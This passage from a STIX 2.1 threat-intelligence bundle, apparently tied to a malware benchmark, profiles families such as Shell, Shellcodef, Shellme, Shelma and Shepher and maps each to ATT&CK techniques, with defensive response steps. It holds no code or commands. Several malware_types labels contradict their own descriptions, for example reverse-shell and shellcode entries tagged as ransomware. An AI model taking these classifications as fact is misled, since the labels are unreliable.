      "source_ref": "malware--82a1f717-3a9c-5d8e-821f-bb51cfb1a8c7",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sheldor exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e214948e-94e0-5556-9bab-c6a894a1afc9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--82a1f717-3a9c-5d8e-821f-bb51cfb1a8c7",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sheldor exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c2fb952a-dcca-5358-81a8-5520a77c111b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--82a1f717-3a9c-5d8e-821f-bb51cfb1a8c7",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sheldor exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--009b9014-1111-59a7-8ea0-74d2d5671499",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Shell",
      "description": "<h3>Executive Summary</h3>\n\"Shell\" is a broad, generic classification used by security engines to identify a malicious script or executable designed to provide an attacker with interactive, command-line access to a compromised system. This category primarily encompasses Web Shells (e.g., PHP, ASPX) deployed on compromised web servers, and Reverse/Bind Shells deployed on traditional endpoints. The detection of a \"Shell\" indicates a severe, post-exploitation scenario where the attacker has achieved active remote control.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nShells are almost exclusively deployed *after* an initial vulnerability has been exploited. On web servers, this is often a File Upload vulnerability or a Remote Code Execution (RCE) flaw. On endpoints, shells are dropped by exploit kits, malicious macros, or lateral movement tools like PsExec.\n\nOnce deployed, a Shell grants the attacker extensive capabilities:\n<ul>\n<li><strong>Interactive Command Execution:</strong> The core function is to allow the attacker to execute arbitrary operating system commands (`cmd.exe` or `/bin/sh`) as the user account running the shell (e.g., the web service account like `www-data` or `IIS_IUSRS`).</li>\n<li><strong>File System Manipulation:</strong> Attackers utilize the shell to traverse directories, download data (exfiltration), upload additional malware (like privilege escalation exploits), and alter configuration files.</li>\n<li><strong>Persistence and Pivoting:</strong> A shell serves as the primary beachhead. The attacker will immediately attempt to escalate privileges to `SYSTEM` or `root`, install a more permanent backdoor, and utilize the compromised machine to scan and attack other systems on the internal network.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe detection of a Shell is a critical incident. It is not an automated infection; it means a human attacker (or a sophisticated automated framework) has active, interactive control over the system and is actively executing commands.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Isolation:</strong> The compromised server or endpoint must be immediately isolated from the network to sever the attacker's interactive connection.</li>\n<li><strong>Forensic Analysis of Command History:</strong> If dealing with a web shell, analyze the web server access logs to determine *how* the shell was uploaded and what commands the attacker executed via HTTP requests.</li>\n<li><strong>Vulnerability Patching and Rebuild:</strong> Simply deleting the shell script is insufficient, as the vulnerability that allowed its upload still exists. The underlying vulnerability must be patched, and in most cases, the system should be rebuilt from a known-good backup to ensure no hidden persistence mechanisms remain.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "backdoor"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "HackTool.Shell",
        "WebShell.Generic",
        "Backdoor.Shell",
        "Trojan.ReverseShell"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Shell",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/shell"
        }
      ],
      "labels": [
        "backdoor",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--21c710f1-d8cd-5ec5-a6dd-d4e885141dd5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--009b9014-1111-59a7-8ea0-74d2d5671499",
      "target_ref": "attack-pattern--6edf2a5f-9dca-50d0-8c72-059ff58bba2a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shell exhibits technique T1505.003 (Server Software Component: Web Shell (The core backdoor mechanism))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3197dc06-171a-5a2f-8c48-8f78da8cb0f1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--009b9014-1111-59a7-8ea0-74d2d5671499",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shell exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b94a12d6-332a-531f-986f-5f8fc6b373ea",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--009b9014-1111-59a7-8ea0-74d2d5671499",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shell exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d2d00334-f071-530c-b98e-1b7d9ebba33e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Shellcodef",
      "description": "<h3>Executive Summary</h3>\nShellcodeF (or generic detections like Exploit:Win32/Shellcode) is a heuristic detection applied to a highly malicious component of an attack chain. It identifies the presence of raw, executable machine code (shellcode) embedded within a non-executable file format, such as a malicious PDF, a weaponized Microsoft Office document (macro or exploit-based), or a compromised webpage. Shellcode is the crucial \"payload\" delivered by an exploit, designed to execute immediately after a vulnerability in an application is successfully triggered.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nShellcodeF is not a standalone executable file (`.exe`). It is encountered when a user opens a specially crafted file or visits a compromised website that attempts to exploit a vulnerability in software like Adobe Reader, Microsoft Word, or a web browser.\n\nIts execution relies on exploiting a software flaw:\n<ul>\n<li><strong>Vulnerability Exploitation:</strong> The carrier file (e.g., a PDF) contains malformed data designed to trigger a specific vulnerability (like a Buffer Overflow or Use-After-Free) in the application parsing it.</li>\n<li><strong>Execution Hijacking:</strong> When the vulnerability triggers, it corrupts the application's memory space, hijacking the execution flow and forcing the CPU to execute the embedded ShellcodeF block.</li>\n<li><strong>The \"Stager\":</strong> Shellcode must be extremely small to fit within the exploit constraints. Therefore, it typically acts as a \"stager.\" Its sole purpose is to connect back to the attacker's server, download a larger, more fully-featured secondary payload (like a RAT, Cobalt Strike beacon, or Ransomware loader), and execute it directly in memory.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe detection of ShellcodeF is a critical indicator of a targeted attack or an encounter with a sophisticated Exploit Kit. It signifies that an attacker has attempted (and potentially succeeded) to leverage an unpatched vulnerability to achieve arbitrary code execution on the endpoint without user interaction (beyond opening a document).\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Determine Exploit Success:</strong> The most crucial step is determining if the shellcode successfully executed or if it was blocked by EDR (e.g., blocked by Exploit Guard or ASLR/DEP). Analyze EDR telemetry for unexpected child processes spawning from applications like `winword.exe` or `AcroRd32.exe`.</li>\n<li><strong>Vulnerability Patching:</strong> Identify the specific application that was targeted by the exploit and ensure it, and all related software, is immediately patched to the latest vendor specifications to close the vulnerability.</li>\n<li><strong>Containment and Sweeps:</strong> If execution was successful, isolate the endpoint immediately. The shellcode likely downloaded a secondary backdoor. A deep forensic sweep is required to identify and eradicate the secondary payload.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Exploit.Shellcode",
        "Trojan.ShellcodeF",
        "Win32/Exploit"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Shellcodef",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/shellcodef"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--95a1110f-0432-51fd-8df7-aaa91a0e2948",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d2d00334-f071-530c-b98e-1b7d9ebba33e",
      "target_ref": "attack-pattern--0e256bfe-cc6d-5f41-9ab7-680374cb717c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shellcodef exhibits technique T1203 (Exploitation for Client Execution (Exploiting Office vulnerabilities))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--022a1311-3239-53e2-aaaf-c77f4daf17b5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d2d00334-f071-530c-b98e-1b7d9ebba33e",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shellcodef exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--51f63af2-9777-5540-8604-e9b2ca11cb6e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d2d00334-f071-530c-b98e-1b7d9ebba33e",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shellcodef exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9d79c031-2e20-57f8-be00-291d64580445",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Shellme",
      "description": "<h3>Executive Summary</h3>\nShellme is a classification applied to a category of HackTools specifically designed to establish reverse shells or bind shells. While frequently utilized by authorized penetration testers and Red Teams, the detection of Shellme on a production system is a critical indicator that an attacker has achieved arbitrary command execution and established an interactive backdoor for complete, remote control of the endpoint.\n\n<h3>Technical Capabilities and Abuse</h3>\nShellme utilities are usually not distributed via spam. They are post-exploitation tools, uploaded and executed by an attacker *after* they have successfully exploited a vulnerability (like an unpatched web application flaw or a weak service password) to gain initial access.\n\nOnce executed, the tool provides direct command-line access:\n<ul>\n<li><strong>Reverse Shell Execution:</strong> The most common implementation forces the compromised machine to initiate an outbound network connection back to an attacker-controlled listening post. This technique is highly effective at bypassing inbound firewall rules and Network Address Translation (NAT).</li>\n<li><strong>Interactive Command Interface:</strong> The attacker is presented with a standard OS shell (e.g., `cmd.exe` or `/bin/bash`). They can execute any command with the privileges of the user account under which the Shellme executable was launched.</li>\n<li><strong>Lateral Movement Gateway:</strong> The interactive shell is used to upload privilege escalation exploits, dump credentials (using Mimikatz), and launch further attacks against internal network resources that are otherwise isolated from the internet.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe presence of an active reverse shell (Shellme) is a \"glass break\" incident. It means an attacker has bypassed all preventative security controls and possesses interactive, real-time access to the environment. Data exfiltration, lateral movement, or ransomware deployment are imminent.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Isolation:</strong> The absolute highest priority is to sever the interactive connection. Isolate the infected machine from the network immediately.</li>\n<li><strong>Forensic Triage:</strong> Do not reboot the machine, as the shell is likely running entirely in memory and the process details will be lost. Use memory forensics to identify the parent process of the shell to determine *how* the attacker initially compromised the system.</li>\n<li><strong>Enterprise Credential Reset:</strong> If the shell was running under a privileged account (or if the attacker successfully escalated privileges), all domain and local credentials associated with that system must be considered compromised and reset immediately.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "HackTool.Shellme",
        "Backdoor.ReverseShell",
        "Win32/Shellme"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Shellme",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/shellme"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c114cf9f-71f6-5efb-9e72-b16ba4154418",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9d79c031-2e20-57f8-be00-291d64580445",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shellme exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f41cd363-6fae-5641-abc0-a8218191a37b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9d79c031-2e20-57f8-be00-291d64580445",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shellme exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a4aa10e7-2f4c-5e51-943c-158c300cfbdc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9d79c031-2e20-57f8-be00-291d64580445",
      "target_ref": "attack-pattern--cc76a884-1600-50d8-bfac-e3713d774a0d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shellme exhibits technique T1090 (Proxy)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7ab6a966-5448-5b24-83d8-d5f5d1e2986e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Shelma",
      "description": "Shelma (cataloged across security vendors and threat intelligence databases under signatures including Trojan:Win32/Shelma, Trojan.Win32.Shelma, and Backdoor:Win32/Shelma) is a modular Delphi-based Windows trojan dropper and surveillance backdoor active since 2014. Distributed primarily through trojanized software cracks, game activators, and malicious torrent bundles, Shelma functions as an initial-stage compromise platform. Upon execution, the malware establishes persistence by writing autostart values to HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run and copies itself to the Windows AppData directory under randomized process names. Shelma interrogates the host operating system to identify active antivirus products, virtualization flags, and network interfaces. Once host fingerprinting is complete, it connects to remote command-and-control servers using encrypted HTTP/TCP sockets, downloading and executing secondary malicious payloads\u2014ranging from cryptocurrency miners to banking info-stealers and credential harvest tools. (Observed samples in benchmark: 57)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Shelma",
        "Trojan.Win32.Shelma",
        "Backdoor:Win32/Shelma",
        "Win32/Shelma"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Shelma",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/shelma"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8e3d0d6b-18fb-5143-85e5-b7adeea57c94",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7ab6a966-5448-5b24-83d8-d5f5d1e2986e",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shelma exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--15d4c3aa-a27b-5cc6-b91a-0e60c40fa62c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7ab6a966-5448-5b24-83d8-d5f5d1e2986e",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shelma exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9e5f11b9-de82-527c-a1de-bd746396d8d5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7ab6a966-5448-5b24-83d8-d5f5d1e2986e",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shelma exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5b144dd5-42cd-58f8-bbf7-c0a8fcbb3fac",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7ab6a966-5448-5b24-83d8-d5f5d1e2986e",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shelma exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3a217374-7649-50a4-87e2-be652d331718",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7ab6a966-5448-5b24-83d8-d5f5d1e2986e",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shelma exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--30cbf1cb-072d-5509-9099-2ad693bb4c83",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Shenzhen",
      "description": "Adware:Win32/Shenzhen is an intrusive Potentially Unwanted Program (PUP) designed to forcibly alter a user's web browsing experience. It manipulates browser settings to redirect search queries, injects unwanted advertisements into webpages, and tracks user browsing behavior to generate illicit Pay-Per-Click (PPC) revenue for its creators.<br><br><b>Understanding Shenzhen</b><br>To an end-user, Shenzhen manifests as a sudden, unwanted change to their browser's homepage, new tab page, and the appearance of unremovable toolbars or persistent pop-up ads. For a security team, it represents a breakdown in endpoint hygiene and a potential vector for more serious infections via malvertising (malicious advertisements).<br><br><b>Execution and Hijacking Mechanics</b><br>Shenzhen is typically distributed via deceptive software bundles, fake software updates, or malicious browser extensions downloaded from third-party sites (`T1189`). Upon execution, it modifies the Windows Registry (`T1112`) and browser configuration files to enforce its settings (`T1562.001`). It installs persistent browser extensions or Browser Helper Objects (BHOs) (`T1176`) to monitor searches and ensure the hijacking cannot be easily reversed by the user. These extensions locally intercept web traffic to inject sponsored links directly into the DOM of legitimate websites.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a severely degraded user experience, potential privacy violations (tracking of search queries), and exposure to potentially malicious ads. Host-based IoCs include EDR alerts for modifications to browser shortcut properties, unexpected additions to browser extension directories, or anomalous BHO registrations in the Registry. Network IoCs include DNS queries resolving to adware tracking infrastructure and redirected search traffic containing tracking parameters. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Shenzhen",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/shenzhen"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c5b7cfa1-419f-51a8-a813-d8842566900c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--30cbf1cb-072d-5509-9099-2ad693bb4c83",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shenzhen exhibits technique T1176 (Browser Extensions (Installing malicious toolbars/BHOs))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ba0a96ed-9cf2-5c07-a886-c3feaba46526",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--30cbf1cb-072d-5509-9099-2ad693bb4c83",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shenzhen exhibits technique T1112 (Modify Registry (Changing default search/homepage keys))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--589d1934-5749-533d-8d77-571b00c86221",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--30cbf1cb-072d-5509-9099-2ad693bb4c83",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shenzhen exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Browser hijacking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4b73ab92-0c59-5f0e-a914-1f9aa8504a84",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--30cbf1cb-072d-5509-9099-2ad693bb4c83",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shenzhen exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--86f42113-8156-546e-a9f6-0874f7de410d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Shepher",
      "description": "Trojan:Win32/Shepher is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Shepher</b><br>To an end-user, a Shepher infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Shepher is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Shepher is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Shepher frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Shepher reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Shepher",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/shepher"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--934bca30-c215-5d50-ae7b-dd6dffc9155b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--86f42113-8156-546e-a9f6-0874f7de410d",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shepher exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--32cdf694-5dd0-5341-8098-4dd59b549616",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--86f42113-8156-546e-a9f6-0874f7de410d",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shepher exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7847f61d-2e01-50f7-80cf-d16cd22efdf1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--86f42113-8156-546e-a9f6-0874f7de410d",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shepher exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--13170dc5-4942-5c50-9228-d14e1245e5ae",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--86f42113-8156-546e-a9f6-0874f7de410d",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shepher exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f0a3088f-7d8c-51dc-8624-00ce714cae89",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--86f42113-8156-546e-a9f6-0874f7de410d",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shepher exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--35b066dc-57ca-5acc-bc0c-7ba05678e644",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Shezkrypt",
